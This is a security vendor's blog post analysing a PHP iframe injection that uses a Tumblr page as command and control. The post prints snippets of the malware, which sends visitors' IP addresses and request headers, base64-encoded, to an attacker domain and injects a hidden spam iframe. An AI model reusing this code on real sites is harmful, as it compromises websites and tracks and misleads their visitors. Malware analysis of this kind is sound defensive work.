Malicious iFrame Injections Host Payload on Tumblr

3 minute read

It’s always fun to watch malware developers using different techniques to code their creations. Sometimes it’s a matter of obfuscation, placement, injection, but this time it’s how they code it to be dynamic.

I believe this is not the first one that uses this service, but it’s the first time I’m seeing it. Twitter and Ask.fm accounts are widely used by malware as a bot Command & Control (C&C) Server, where instructions would be sent by the latest updates.

A few weeks ago we found a iframe injection that was relying on Tumblr to trigger the payload.

Tumblr lets you effortlessly share anything. – Tumblr

How Does It Work?

The anatomy of this attack is very interesting.

It’s a two part attack and what makes it so unique is that each one on it’s own is benign and the user would be none the wiser. Unlike what you’re probably thinking and what we have described the attacker is not loading or referencing the payload from a remote server or service (i.e., Tumblr). Instead the attacker is using the infected website as the compiler while the remote service is the brain. So in it of itself, nether are malicious, but when combined they are very very dangerous.

The brain, or the C&C, dictates what payload gets loaded, based on what it received from the incoming infected site. Once the payload is defined, the infected website goes about building the payload. This means that you can have several infected websites out there without any payloads, simply waiting for instructions from some rogue C&C, like the one here.

What’s curious about the tactic is how ingenious it is. This makes it so that detection is low on both fronts. Scan the website and all is clear. Scan Tumblr and it’s all clear, but mix them together and you have yourself a nice little recipe for disaster.

The good news is that tools like our Free website scanner will pick up the payload.

It’s About the Code

Here are some code snippets to better illustrate what it was doing:

<?php

$__safe_mode = ini_get('safe_mode');
ini_set('safe_mode', 0);
ini_set('display_errors', 0);
error_reporting('none');
$from_link = array('http://nibbgohtume.tumblr.com/');
$from_selector = '.post .title';
$zone = '/tss/nb.php';
$p = base64_encode($_SERVER['REMOTE_ADDR'].':::'.$_SERVER["HTTP_USER_AGENT"].':::'.$_SERVER['HTTP_REFERER'].':::'.$_SERVER['HTTP_HOST'].':::'.$_SERVER['HTTP_ACCEPT_LANGUAGE'].':::'.$_SERVER['HTTP_ACCEPT_ENCODING'].':::'.$_SERVER['HTTP_ACCEPT_CHARSET'].':::'.$_SERVER['HTTP_ACCEPT'].':::'.$_SERVER['HTTP_KEEP_ALIVE'].':::'.$_SERVER['HTTP_CONNECTION'].':::'.$_SERVER['HTTP_CACHE_CONTROL']);
$_params = '&p='.$p;
$params = (isset($_REQUEST['prms'])) ? urldecode($_REQUEST['prms']) : $_params;
$protocol = 'http://';

It sets the from_link variable with the Tumblr address as part of the array, just after it you see the from_selector variable, which will be used later to find all the site’s posts titles.

do {
shuffle($from_link);
$lnk = $from_link[0];
} while (!$lnk);
$html = file_get_html($lnk);
foreach($html->find($from_selector) as $e) {
$lnk_zone = explode("/", $e->plaintext);
$lnk_zone = $lnk_zone[0] . "." . $lnk_zone[1] . "." . $lnk_zone[2];
$link = $protocol.$lnk_zone.$zone.(($params) ? "?".$params : "");
break;
}

This code will translate this:

Sucuri-Tumblr

And output this:


http://njgmoqy.ikwb.com/tss/nb.php?%26p%3DMTcyLjE2LjEwMi4xMjk6OjpNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA1LjE7IHJ2OjI2LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjYuMDo6Ojo6OjE3Mi4xNi4xMDIuMTI5Ojo6ZW4tVVMsZW47cT0wLjU6OjpnemlwLCBkZWZsYXRlOjo6Ojo6dGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44Ojo6Ojo6a2VlcC1hbGl2ZTo6Og%3D%3D

Which is the payload URL with all the headers (i.e., REMOTE_ADDR, HTTP_USER_AGENT, HTTP_REFERER…)

In order to read the tumblr page, it uses a class called simple_html_dom, which is a free HTML parser to read the page and then search for the .post .title elements to get all the payload links.

The last part of the code will create the iframe.

list($sdata) = get_curl($link, 0, 5, $prms);

$tmp = explode("|:|:|", $sdata);
if (sizeof($tmp) > 1) {
foreach ($tmp as $k=>$v) {
$tmp2 = explode("|;|", $v);
$link = $tmp2[0];
$data = $tmp2[1];
if ($link && $data) {
print ''.$data.'';
}
}
} else {

print '';

}

The hidden iframe, the negative position – -999em;left:-999em – will not be presented in your browser window, will contain all the links found in the previous URL and all the nice spam words for a good blackhat SEO.

As all iframe injection codes, this one needed some other file, a good file to be the host. In this case the malware was being loaded by the template’s footer, in a simple include().

Spotlight on Women in Cybersecurity

less than 1 minute read

Sucuri is committed to helping women develop their careers in technology. On International Women’s Day, Sucuri team members share their insights into workin...

Hacked Website Trend Report – 2018

less than 1 minute read

We are proud to be releasing our latest Hacked Website Trend Report for 2018. This report is based on data collected and analyzed by the GoDaddy Security / ...